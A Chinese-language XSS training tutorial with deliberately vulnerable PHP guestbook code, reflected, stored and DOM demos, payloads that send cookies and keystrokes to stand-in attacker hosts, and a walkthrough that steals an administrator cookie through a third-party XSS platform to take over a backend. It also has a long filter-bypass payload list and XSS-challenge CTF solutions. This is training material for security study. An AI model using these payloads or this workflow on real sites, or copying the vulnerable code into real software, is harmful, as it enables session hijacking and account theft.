XSS漏洞
1.漏洞原理
XSS (Cross-Site Scripting) 全称跨站脚本攻击。为了避免与 CSS (Cascading Style Sheets) 混淆,缩写为 XSS。
1.1 核心原理
XSS 是一种代码注入漏洞。当 Web 应用在处理用户输入的数据时,没有进行充分的验证、过滤或转义,直接将这些数据输出到了网页中。浏览器无法区分这些数据是普通的文本还是可执行的代码,从而执行了攻击者注入的恶意脚本(通常是 JavaScript)。
攻击后果
攻击者可利用 XSS 窃取用户 Cookie/Session、进行钓鱼欺骗、篡改页面内容、或以用户身份执行恶意操作。
简要分类(后续将详细展开)
- 反射型 XSS (Reflected)
- 存储型 XSS (Stored)
- DOM 型 XSS (DOM-based)
1.2 常见Payload
基础弹窗(POC)
最简单的测试代码,用于确认是否存在 XSS。
<script>alert('XSS')</script>利用 HTML 属性(绕过
<script>)如果
<script>标签被过滤,可以利用标签的事件处理(如 onerror, onload)。<img src=x onerror=alert(1)><svg/onload=alert(1)>利用链接协议 (javascript:)
在
<a>标签的 href 属性中执行代码。<a href="javascript:alert('XSS')">点击我</a>窃取 Cookie 示例
将用户的 Cookie 发送到攻击者服务器(实际攻击常用)。
<script> // 创建一个图像请求,将 cookie 作为参数发送 new Image().src = "http://attacker-site.com/steal?cookie=" + document.cookie; </script>
2.XSS初体验
我们写一个留言板的网站
2.1 创建数据库
mysql> create database message;
Query OK, 1 row affected (0.00 sec)
mysql> use message;
Database changed

2.2 创建留言板的表
mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
Query OK, 0 rows affected (0.01 sec)
2.3 网页源码
<!DOCTYPE HTML>
<?php
// 留言处理
if(isset($_POST['message']))
$getMessage = $_POST['message'];
else {
$getMessage = "";
}
// 数据库配置
$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = 'rootroot';
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn, $dbname);
if($getMessage != ""){
// 获取当前时间
$date = date('Y-m-d H:i:s');
// 插入数据
$sql = "insert into board(date, content) values('$date','$getMessage')";
$retval = mysqli_query( $conn, $sql );
}
?>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>英格科技留言板</title>
<style>
/* 全局样式重置 */
body {
font-family: 'Segoe UI', 'Microsoft YaHei', sans-serif;
background-color: #f4f6f9;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
min-height: 100vh;
}
/* 主容器卡片 */
.container {
width: 100%;
max-width: 800px;
background: #fff;
margin: 40px 20px;
padding: 30px;
box-shadow: 0 4px 15px rgba(0,0,0,0.1);
border-radius: 10px;
height: fit-content;
}
h1 {
text-align: center;
color: #333;
margin-bottom: 30px;
font-weight: 600;
}
/* 表格样式 */
table {
width: 100%;
border-collapse: collapse;
margin-bottom: 30px;
}
th {
background-color: #007bff; /* 科技蓝 */
color: white;
padding: 12px;
text-align: left;
border-radius: 4px 4px 0 0;
}
td {
padding: 12px;
border-bottom: 1px solid #eee;
color: #555;
word-break: break-all; /* 防止长内容撑破表格 */
}
tr:last-child td {
border-bottom: none;
}
tr:hover {
background-color: #f9f9f9;
}
/* 表单区域样式 */
.form-box {
background-color: #fafafa;
padding: 20px;
border-radius: 8px;
border: 1px solid #eee;
}
label {
display: block;
margin-bottom: 10px;
font-weight: bold;
color: #444;
}
textarea {
width: 100%;
height: 100px;
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box; /* 确保padding不增加宽度 */
font-family: inherit;
margin-bottom: 15px;
resize: vertical;
}
textarea:focus {
outline: none;
border-color: #007bff;
box-shadow: 0 0 5px rgba(0,123,255,0.2);
}
input[type="submit"] {
background-color: #28a745; /* 绿色按钮 */
color: white;
border: none;
padding: 10px 25px;
border-radius: 5px;
font-size: 16px;
cursor: pointer;
transition: background 0.3s;
}
input[type="submit"]:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<h1>英格科技留言板</h1>
<table>
<thead>
<tr>
<th width="25%">日期</th>
<th>留言内容</th>
</tr>
</thead>
<tbody>
<?php
// 获取任务
$sql = "select * from board order by date desc"; // 按时间倒序,新消息在上面
$retval = mysqli_query( $conn, $sql );
if(! $retval ) {
die('<tr><td colspan="2">无法读取数据: ' . mysqli_error($conn) . '</td></tr>');
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)) {
echo "<tr>";
echo "<td>{$row['date']}</td>";
// 注意:这里依然没有做 XSS 过滤,方便你继续做实验
echo "<td>{$row['content']}</td>";
echo "</tr>";
}
?>
</tbody>
</table>
<div class="form-box">
<form action="index.php" method="post">
<label for="message">发表新留言:</label>
<textarea id="message" name="message" placeholder="请输入您的留言..."></textarea>
<input type="submit" value="提交留言">
</form>
</div>
</div>
</body>
</html>
2.4 测试功能

2.5 XSS原理
在打开的留言板网页中按下F12,我们可以看到网页的前端源码
我们可以看到这部分的代码为
<td>hello world </td>
其中hello world部分为我们自己提交的内容,如果我们提交的内容为
</td><script>alert("hello world")</script><td>
那么最终的代码就变成
<td></td> <script>alert("hello world")</script> <td></td>
由此可以看出,我们提交的<script>标签中的代码逃逸到了整个网页的代码中,而不仅仅只是一个字符串了
当我们提交之后,就可以发现浏览器竟然执行了我们的弹窗请求,将hello world以弹窗的形式显示出来
点击确定,再次查看网页源代码,可以看到我们的代码确实已经跑到表格之外

我们先清空留言板数据库
mysql> truncate table board;
Query OK, 0 rows affected (0.01 sec)
浏览器的容器能力比较强,我们根本不需要去闭合前后的标签,浏览器只要看到<xxx>这样的标签,就会自动认为这个是代码的一部分,而不是显示的字符串,在留言板中插入如下代码一样能触发xss
<script>alert("hello world")</script>

还有一些好玩的标签
<p/onmouseover=alert(1)>点我</p>

<button/onclick=alert(1) >点我</button>

3.XSS种类
将以下代码保存为 index.php。
<!DOCTYPE HTML>
<?php
// === 配置与连接 ===
$dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'rootroot'; $dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn, $dbname);
// === 1. 存储型 XSS 处理逻辑 (写入数据库) ===
if(isset($_POST['message']) && $_POST['message'] != ""){
$date = date('Y-m-d H:i:s');
$msg = $_POST['message'];
// 试图破坏 HTML 属性结构,将 " 替换为 HTML实体 "
//$msg = str_replace("\"", """, $msg);
// 简单粗暴地删除 script 字符
//$msg = str_replace("script", "", $msg);
// 实体化所有特殊字符 (<, >, ', ", &)
// $msg = htmlspecialchars($msg, ENT_QUOTES, 'UTF-8');
// 为了防止 SQL 注入导致插入失败 (这步必须保留,否则无法存入)
$msg = mysqli_real_escape_string($conn, $msg);
$sql = "insert into board(date, content) values('$date','$msg')";
mysqli_query($conn, $sql);
}
// === 2. 反射型 XSS 处理逻辑 (搜索功能) ===
$search_html = "";
if (isset($_GET['search'])) {
$getSearch = $_GET['search'];
// [漏洞点 2] 直接将用户输入的搜索词回显到页面 HTML 中
$search_html = "<div class='alert'>正在展示 "" . $getSearch . "" 的搜索结果</div>";
}
?>
<html>
<head>
<meta charset="utf-8" />
<title>XSS 综合靶场</title>
<style>
body { font-family: sans-serif; background: #f4f6f9; display: flex; justify-content: center; }
.container { width: 800px; background: #fff; margin: 20px; padding: 20px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
.alert { background: #ffeeba; color: #856404; padding: 10px; margin-bottom: 15px; border: 1px solid #ffeeba; }
table { width: 100%; border-collapse: collapse; margin: 20px 0; }
th, td { padding: 10px; border-bottom: 1px solid #eee; text-align: left; }
th { background: #007bff; color: white; }
.status-box { background: #d4edda; color: #155724; padding: 10px; display: none; margin-bottom: 10px;}
</style>
</head>
<body>
<div class="container">
<h1>XSS 综合演示平台</h1>
<div id="status" class="status-box"></div>
<?php echo $search_html; ?>
<form action="index.php" method="get" style="margin-bottom: 20px; border:1px dashed #ccc; padding:10px;">
<label>🔍 搜索留言(反射型测试): </label>
<input type="text" name="search" style="width: 200px;">
<input type="submit" value="搜索">
</form>
<table border="0">
<tr><th>时间</th><th>内容</th></tr>
<?php
$filter = isset($_GET['search']) ? "WHERE content LIKE '%{$_GET['search']}%'" : "";
$sql = "select * from board $filter order by date desc";
$retval = mysqli_query($conn, $sql);
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC)){
echo "<tr>";
echo "<td>{$row['date']}</td>";
// [漏洞点 3] 数据库取出的内容直接输出,未过滤
echo "<td>{$row['content']}</td>";
echo "</tr>";
}
?>
</table>
<form action="index.php" method="post" style="margin-top: 20px; border-top: 2px solid #eee; padding-top: 20px;">
<label>📝 发布新留言(存储型测试): </label><br/>
<textarea name="message" style="width:100%; height:80px;"></textarea><br/>
<input type="submit" value="提交留言">
</form>
</div>
<script>
// === 3. DOM 型 XSS 处理逻辑 (前端 JS 处理) ===
// 逻辑:读取 URL 中的 hash (#) 内容,直接写入到 div 中
var hash = location.hash.substring(1); // 获取 # 后的内容
if(hash){
var statusDiv = document.getElementById('status');
statusDiv.style.display = 'block';
// [漏洞点 4] 使用 innerHTML 写入用户可控数据
statusDiv.innerHTML = "当前状态: " + decodeURIComponent(hash);
}
</script>
</body>
</html>

3.1 存储型 XSS (Stored XSS)
原理:
恶意代码被永久存储在服务器的数据库中。每次用户访问该页面,服务器从数据库读取恶意代码并拼接到 HTML 中,浏览器自动执行。
- 流程:黑客提交 -> 存入数据库 -> 受害者访问 -> 代码从库中取出 -> 执行。
- 别名:持久型 XSS。

存储型xss是持久存储的,每次访问都会被触发示例(利用上面的 Demo):
在底部的“发布新留言”框中输入:
<script>alert('存储型XSS')</script>点击提交。
现象:现在,无论你刷新页面多少次,或者换一个浏览器访问这个页面,都会弹出窗口。因为代码已经死在数据库里了。

危害:
危害最大。只需一次攻击,所有访问者都会中招(常用于窃取 Cookie、挂马)。

3.2 反射型 XSS (Reflected XSS)
原理:
恶意代码不存储在数据库中。它存在于 URL 的参数里,服务器接收参数后,立即将该参数“反射”(回显)到页面上。
- 流程:黑客构造恶意 URL -> 诱骗受害者点击 -> 服务器接收并回显 -> 浏览器执行。
- 别名:非持久型 XSS。

常见位置:搜索框
正常搜索

攻击示例:
1.直接在搜索框输入payload
<script>alert('反射型XSS')</script>


也可以不在输入框里打字,直接构造一个 URL:
http://localhost/index.php?search=<script>alert('反射型XSS')</script>
将这个链接复制到浏览器访问,效果一致,任何人访问这个url都会有弹窗

如果你去掉 URL 里的参数直接访问 index.php,不会有任何弹窗。攻击是一次性的。
利用点:
反射型xss需要构造链接,并且让被攻击者自己点击链接,所以需要与社会工程学配合才可以达到最好效果
3.3 DOM 型 XSS (DOM-based XSS)
原理:
这是一种特殊的 XSS,实际上属于反射型的一种变体,也是完全发生在客户端(浏览器)。
服务器返回的页面源码中可能并没有恶意代码,是浏览器加载页面后,JavaScript 脚本读取了用户的输入(如 URL 的 # 后面的内容),并将其动态插入到了 HTML 页面中。
- 数据流:Source (输入源,如
location.hash) -> Sink (执行点,如innerHTML)。 - 特点:流量可能不经过服务器(如果利用 Hash
#),WAF(防火墙)较难检测。

DOM 型 XSS(DOM XSS)
关键特征:
- payload 不经过服务器处理
- 服务器返回的是“干净页面”
- 前端 JavaScript 从 URL / hash / 参数中读取数据
- JS 操作 DOM 时把恶意内容写入页面
数据流向:
URL / hash
↓
浏览器加载页面
↓
前端 JS 读取 location / DOM
↓
JS 写入 innerHTML / document.write 等
↓
脚本执行
在 查看源代码(View Source) 中,通常看不到 payload,只能在 F12 Elements / Sources 中看到。
判断 DOM XSS 的最简单方法:
- 打开页面
- 查看「页面源代码(Ctrl+U)」
搜索你的 payload
能看到 → 反射 / 存储型 XSS
- 看不到,但 F12 能看到 → DOM XSS
示例:
1.注意 Demo 代码底部的 <script> 部分,它会读取 # 后的内容写入页面。
<script>
// === 3. DOM 型 XSS 处理逻辑 (前端 JS 处理) ===
// 逻辑:读取 URL 中的 hash (#) 内容,直接写入到 div 中
var hash = location.hash.substring(1); // 获取 # 后的内容
if(hash){
var statusDiv = document.getElementById('status');
statusDiv.style.display = 'block';
// [漏洞点 4] 使用 innerHTML 写入用户可控数据
statusDiv.innerHTML = "当前状态: " + decodeURIComponent(hash);
}
</script>
2.构造 URL:
http://localhost/index.php#<img src=x onerror=alert('DOM型XSS')>
访问链接,页面顶部的绿色状态栏出现,并且弹窗。

右键查看网页源代码(View Source),你会发现源码里根本没有 <img src=x...> 这段代码。

这段代码是页面加载后,JS 动态加上去的。这就是 DOM 型与前两者的最大区别。
3.4 三种XSS对比
| 类型 | 存储位置 | 触发机制 | 攻击持久性 | 典型场景 |
|---|---|---|---|---|
| 存储型 | 数据库/服务器文件 | 访问页面即触发 | 长期有效 | 留言板、评论区、用户简介 |
| 反射型 | URL 参数 | 诱导点击特定链接 | 一次性 | 搜索框、报错信息、跳转页 |
| DOM型 | DOM 树 (内存) | 诱导点击或本地交互 | 一次性 | 动态页面、前端路由、JS插件 |
3.5 小实验
1.自己搭建复现上面的“留言板靶场”,测试三种XSS;
2.完成DVWA靶场XSS相关两个题目,low、medium、high都完成(大小写绕过,img绕过);
3.完成Pikachu靶场 反射型 XSS(get)、反射性 xss(post)、存储型XSS、DOM XSS四个题目。
4.XSS的危害
很多人误以为 XSS 只是弹个窗恶作剧,但实际上,JavaScript 非常强大。攻击者利用 XSS 可以获取浏览器拥有的几乎所有权限。
4.1 窃取 Cookie 与 会话劫持 (Session Hijacking)
这是 XSS 最常见、最直接的危害。
原理:
Web 应用通常使用 Session ID(存储在 Cookie 中)来维持用户登录状态。如果攻击者通过 XSS 获取了用户的 Cookie,就可以在不需密码的情况下,直接冒充该用户登录系统。
攻击流程:
- 攻击者在网页植入恶意脚本。
- 用户访问网页,脚本自动执行
document.cookie读取 Cookie。 - 脚本创建一个不可见的图片或发送 AJAX 请求,将 Cookie 发送到黑客的接收平台(XSS 平台)。
Payload 案例:
<script> // 创建一个图像,源地址指向黑客服务器,并将 cookie 作为参数附带 new Image().src = "http://hacker-server.com/steal.php?cookie=" + document.cookie; </script>
4.2 劫持用户会话,执行任意操作 (CSRF via XSS)
攻击者不仅仅能“偷”数据,还能“做”事情。
原理:
由于脚本是在用户的浏览器中运行的,它自动继承了用户的登录凭证。攻击者可以通过 JavaScript 模拟用户发送 HTTP 请求(GET/POST)。
危害场景:
- 自动关注某个账号。
- 自动发布带有广告或恶意链接的微博/帖子。
- 修改密码(如果修改密码不需要验证旧密码)。
- 删除好友、删除数据。
Payload 案例(自动发帖):
<script> // 模拟用户向发帖接口发送数据 var xhr = new XMLHttpRequest(); xhr.open("POST", "/api/post_comment", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("content=我被黑客劫持了,这是自动发的&token=" + token); </script>
4.3 记录键盘输入 (Keylogging)
原理:
JavaScript 可以监听浏览器的事件(Event Listener)。攻击者可以注册键盘按下事件 (onkeydown / onkeypress),将用户敲击的每一个键记录下来并发送出去。
危害:
即使 Cookie 有 HttpOnly 保护无法读取,攻击者依然可以通过键盘记录窃取用户的明文密码、信用卡号或银行卡密码。
Payload 案例:
<script> // 监听键盘按键 document.onkeypress = function(e) { var key = e.key; // 将按键发送给黑客 new Image().src = "http://hacker.com/log?key=" + key; } </script>
4.4 钓鱼攻击 (Phishing)
原理:
利用 XSS 修改 DOM 结构。攻击者可以将当前页面的登录框伪装成“会话超时,请重新登录”,或者将页面跳转到一个高仿的钓鱼网站。
危害:
因为域名依然是合法的(比如 facebook.com 下的 XSS),用户极难察觉,从而乖乖交出账号密码。
Payload 案例:
<script></script>
4.5 传播 XSS 蠕虫 (XSS Worm)
这是 XSS 危害的终极形态,结合了存储型 XSS 和 CSRF。
原理:
- 用户 A 访问了感染页面(查看了黑客的资料)。
- 恶意脚本执行,自动将所有的“自我复制的代码”修改到用户 A 的个人资料中。
- 用户 B 查看了用户 A 的资料,也被感染。
- 病毒呈指数级扩散,短时间内即可瘫痪整个社交网络。
著名案例:
Samy Worm (2005年 MySpace 事件):黑客 Samy 利用 XSS,让每个查看他资料的人自动加他好友,并把这段恶意代码复制到受害者的简介里。短短 20 小时内,他拥有了 100 万好友,导致 MySpace 全站下线修复。
4.6 刷流量、挖矿与广告
- 原理:
- 刷流量:在页面中插入隐藏的
<iframe>,指向需要刷流量的网站。 - 弹窗广告:强制弹出赌博或色情网站。
- 恶意挖矿:利用受害者的浏览器 CPU 算力挖掘加密货币(Cryptojacking),导致用户电脑卡顿。
- 刷流量:在页面中插入隐藏的
5.盗取客户端cookie实战
5.1 什么是cookie
Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态
- Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie,客户端下次再向服务器发送请求时,会自动携带cookie信息,一起发送给服务器
- 服务器发现客户端发送过来的cookie后,会去检查是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息,这时,就可为客户端继续提供有状态化的服务了。
5.2 逍遥留言板实战
内部靶场创建实例

访问前台可以看到是一个留言板,可以进行登录,区分不同用户

5.2.1 XSS平台准备
xss平台可以自己搭建,也可以使用别人搭建好的,甚至js学习的不错的,可以不需要xss平台,直接将xss得到的信息发到邮箱 本次案例使用的是xss平台,https://xssaq.com/
- 在xss平台上创建项目

- 获取xss payload


这里就用最简单的就可以
<sCRiPt sRC=//xs.pe/zeN></sCrIpT>
5.2.2 在留言平台插入xss代码
在留言板中进行留言,留言的内容中必须包含xss脚本
提交成功之后,我们就可以在留言板界面看到这条留言,可以发现我们夹带在其中的代码已经被执行了
在xss平台上,我们也可以看到这个游客身份的cookie已经被获取

甚至还有屏幕截图

下面等待管理员上线
5.2.3 模拟管理员上线
这个网站的后台是
/index.php?c=adminlogin
管理员账号密码是admin/admin888
登录成功后,我们查看到这条留言
此时管理员的cookie已经被提交到xss平台上面,我们已经获取到管理员的cookie以及后台的地址

5.2.4 盗用管理员cookie登录后台
这边使用cookie修改插件,强行修改cookie的内容
修改完cookie之后,直接访问后台地址
/index.php?c=admin&a=index

哪怕直接修改管理员密码都是可以的

6.XSS防范
6.1 替换双引号
可以添加对提交语句的过滤,比如如果遇到引号,就用html的特殊字符进行替换
| HTML 原代码 | 显示结果 | 描述 |
|---|---|---|
< |
< | 小于号或显示标记 |
> |
> | 大于号或显示标记 |
& |
& | 可用于显示其它特殊字符 |
" |
“ | 引号 |
® |
® | 已注册 |
© |
© | 版权 |
™ |
™ | 商标 |
  |
半个空白位 | |
  |
一个空白位 | |
|
不断行的空白 |
比如可以替换上面的留言板的php代码
$msg = str_replace("\"", """, $msg);
提交正常的带引号的评论进行测试,能够正常显示

实际上查看网页源代码,发现也是被替换了

提交xss弹窗语句,发现双引号已经被替换
提交不用双引号的xss代码
<script>alert(/hello world/)</script>

6.2 替换script
替换script,就可以让代码执行不起来了,再加上一个替换语句
$msg = str_replace("script", "", $msg);
再次提交xss代码,发现script代码已经被吞
尝试提交下面的代码绕过
<sCRiPt>alert(/hello world/)</ScRIpT>
大小写绕过成功
假如我们将大小写全部给匹配上,我们依旧可以利用双写法绕过
<scscriptript>alert(/hello world/)</scrscriptipt>
不用<script>一样能触发xss
<img src="x" onerror=alert(/xss/)>
7. XSS绕过
7.1 a标签
#javascript协议
<a href=javascript:alert(1)>点我啊</a>
# data协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
# url编码的data协议
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# 另两种方式实现
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>
7.2 script标签
# 直接弹窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>
# javascript协议编码
<script>alert(String.fromCharCode(49))</script>
# 如果输出是在setTimeout里,我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>
7.3 button标签
# 点击弹窗
<button/onclick=alert(1) >点我</button>
# 不需要点击就能弹窗
<button onfocus=alert(1) autofocus>
7.4 p标签
# 可以直接使用事件触发
<p/onmouseover=alert(1)>点我</p>
7.5 img标签
# 可以使用事件触发
<img src=x onerror=alert(1)>
7.6 body标签
# 事件触发
<body onload=alert(1)>
# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
7.7 var标签
# 事件触发,一般是用不需交互的事件比如鼠标移动等
<var onmousemove=alert(1)>M</var>
7.8 div标签
# 事件触发
<div/onclick='alert(1)'>X</div>
7.9 input标签
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
7.10 select标签
<select onfocus=javascript:alert(1) autofocus>
7.11 textarea标签
<textarea onfocus=javascript:alert(1) autofocus>
7.12 keygen标签
<keygen onfocus=javascript:alert(1) autofocus>
7.13 frameset标签
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
7.14 svg标签
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
7.15 math标签
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
7.16 video标签
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
7.17 audio标签
<audio src=x onerror=alert(47)>
7.18 embed标签
<embed src=javascript:alert(1)>
7.19 meta标签
测试发现,文章标题跑到meta标签中,那么只需要跳出当前属性再添加http-equiv=”refresh”,就可以构造一个有效地xss payload。还有一个思路,就是通过给http-equiv设置set-cookie,进一步重新设置cookie来达成一些目的。
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
7.20 marquee标签
<marquee onstart="alert('1')"></marquee>
7.21 isindex标签
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
当过滤掉javascript,alert等常见关键词,单引号,双引号,分号时,可以尝试使用以上不同的标签插入,达到弹出窗口的目的。
7.22 大小写绕过
<sCript>
7.23 alert被过滤
可以尝试prompt和confirm
7.24 空格被过滤
<img/src=""onerror=alert(2)>
<svg/onload=alert(2)></svg>
7.25 长度限制
<q/oncut=alert(1)>//在限制长度的地方很有效
7.26 括号被过滤
可以使用throw来抛出数据
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
7.27 过滤某些关键字
如:javascript, 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数,将代码行隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert(),其中%0a表示换行。
7.28 编码绕过
十六进制编码、jsfuck编码、url编码、unicode编码
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
8.XSS挑战之旅
8.1 Level-1
在“name=”后面写什么,网页就显示什么。
查看源码,发现写入的数据在<>标签的外面,那么name的值直接换成JS:
<script>alert(1)</script>

8.2 Level-2
在搜索框中输入
<script>alert(1)</script>
发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了
但value里面没有过滤掉,闭合value的值,
"><script>alert(1)</script>
成功弹出窗口

8.3 Level-3
在搜索框中输入
<script>alert(1)</script>
发现没有弹窗弹出,查看网页源码,发现<>都被转义了
将
<script>alert(1)</script>
进行编码后尝试
发现还是被转译了
由于<>都被转义了过滤了,可以利用input标签的其他属性进行窗口弹出
' onfocus=javascript:alert(1) '
在源码里直接修改input标签里的内容,也能实现窗口弹出,这种方法对有input标签的题目都有用。
这种方法在CTF中可以用到,实际的利用会比较困难。

8.4 Level-4
在搜索框中输入
<script>alert(1)</script>
查看网页源码,发现<>被转义和过滤掉了。和Level-3一样,可以利用input标签的其他属性进行窗口弹出,
" onfocus=javascript:alert(1) "

8.5 Level-5
在搜索框中输入
<script>alert(1)</script>
查看源码,发现script被转义成scr_ipt,on被转义成o_n,但javascript没有被转义。
输入
"><a href=javascript:alert(1)>点我啊</a>

8.6 Level-6
在搜索框中输入
<script>alert(1)</script>
等代码。发现转义了script、on、href、src等关键词。
尝试大小写绕过:
" ><sCRipt>alert(1)</script>
当然使用万能的修改Input源码也是可以触发的
8.7 Level-7
发现过滤了很多关键词:
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
尝试双写script绕过
" ><sCRsCRiptipt>alert(1)</scrscriptipt>

8.8 Level-8
输入
<script>alert(1)</script>
发现输入的内容在a标签的href内。
在网址后面加:javascript:alert(1),变成javascr_ipt:alert(1),大小写绕过没用
利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数,将代码隔开。如:javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过
前面在SQL注入绕过阶段就讲过空字符绕过,回顾一下
| 编码 | 空格字符 |
|---|---|
| %09 | TAB键(水平制表符) |
| %0a | 新的一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键(垂直制表符) |
| %a0 | 空格 |

8.9 Level-9
输入javascript:alert(1)查看源码显示“链接不合法”,尝试输入正常的链接:http://127.0.0.1显示正常
疑似检测字符串是否存在http://,所以写一个不是网址的字符串
hellohttp://world
输入
javas%0acript:alert(1) <!-- http:// -->
或者
javas%0acript:alert(1) // http://

8.10 Level-10
使用万能的input方法...当然不建议,只是带大家回顾一下(*╯3╰)
观察源码,发现有个form表单,然后默认是GET提交的方式,里面有三个被隐藏的input,我们尝试一个个的手动提交这些变量名,结果发现t_sort会被携带在value中
提交一下t_sort的值
发现出现在value中了
构建攻击内容
?t_sort=1" onfocus=alert(1) type=“text”
查看一下提交之后的源码

8.11 Level-11
提交
?t_sort=1" onfocus=alert(1) type=“text”
发现已经讲特殊符号实体化,在前端源码中发现了新线索就是这个t_ref,疑似referer
尝试使用修改请求中的referer,然后发现填写的内容出现在了value中
构造攻击语句
?t_sort=1" onfocus=alert(1) type=“text”

8.12 Level-12
打开源码,发现ua,那就和Level-11的方式一样了

8.13 Level-13
与11和12一样
查询到cookie的名称为user
提交攻击语句

8.14 Level-14
原版第14关是无法正常工作的,这边英格已经将代码补齐了,这关是考察图片的exif信息会导致xss
可以看到会显示照片的作者在网页上
找张图片修改作者的信息
将图片传上去,就可以触发xss

8.15 Level-15
这关考察的是AngularJS的ng-include指令,可以在源码中看到引入了angularjs,并且页面中存在ng-include
关于ng-include的指令可以参考https://www.runoob.com/angularjs/ng-ng-include.html
我们引入第一关的页面
利用第一关的xss

8.16 Level-16
先试试
<script>alert(1)</script>
发现script被替换为 
不使用script,换成
<img src=1 onerror=alert(1)>
发现空格被替换
使用%0a替代空格
<img%0asrc=1%0aonerror=alert(1)>

8.17 Level-17
尝试修改一下变量值,可以看到会被填到src部分,并且src没有引号,不需要闭合
传入
<script>alert(1)</script>
进行测试,不能使用<或者>符号
传入
onclick=alert(1)
进行测试,发现前面没有空格隔开不行
传入
%20onclick=alert(1)
进行测试,但是无法点击触发
修改为
%20onmouseover=alert(1)
鼠标滑过成功触发

8.18 Level-18
和17关一样
%20onmouseover=alert(1)

8.19 Level-19
flash漏洞,鉴于现在flash已经全面淘汰,此漏洞没有研究价值
下图是payload,但是浏览器已经无法加载flash了,所以没有触发,如果以后遇到有flash的页面的话,可以尝试去找找flash的通用漏洞。

8.20 Level-20
同Level-19,漏洞已过时
9.XSS-demo挑战
内部靶场平台,开启胡务器实例

完成通关挑战
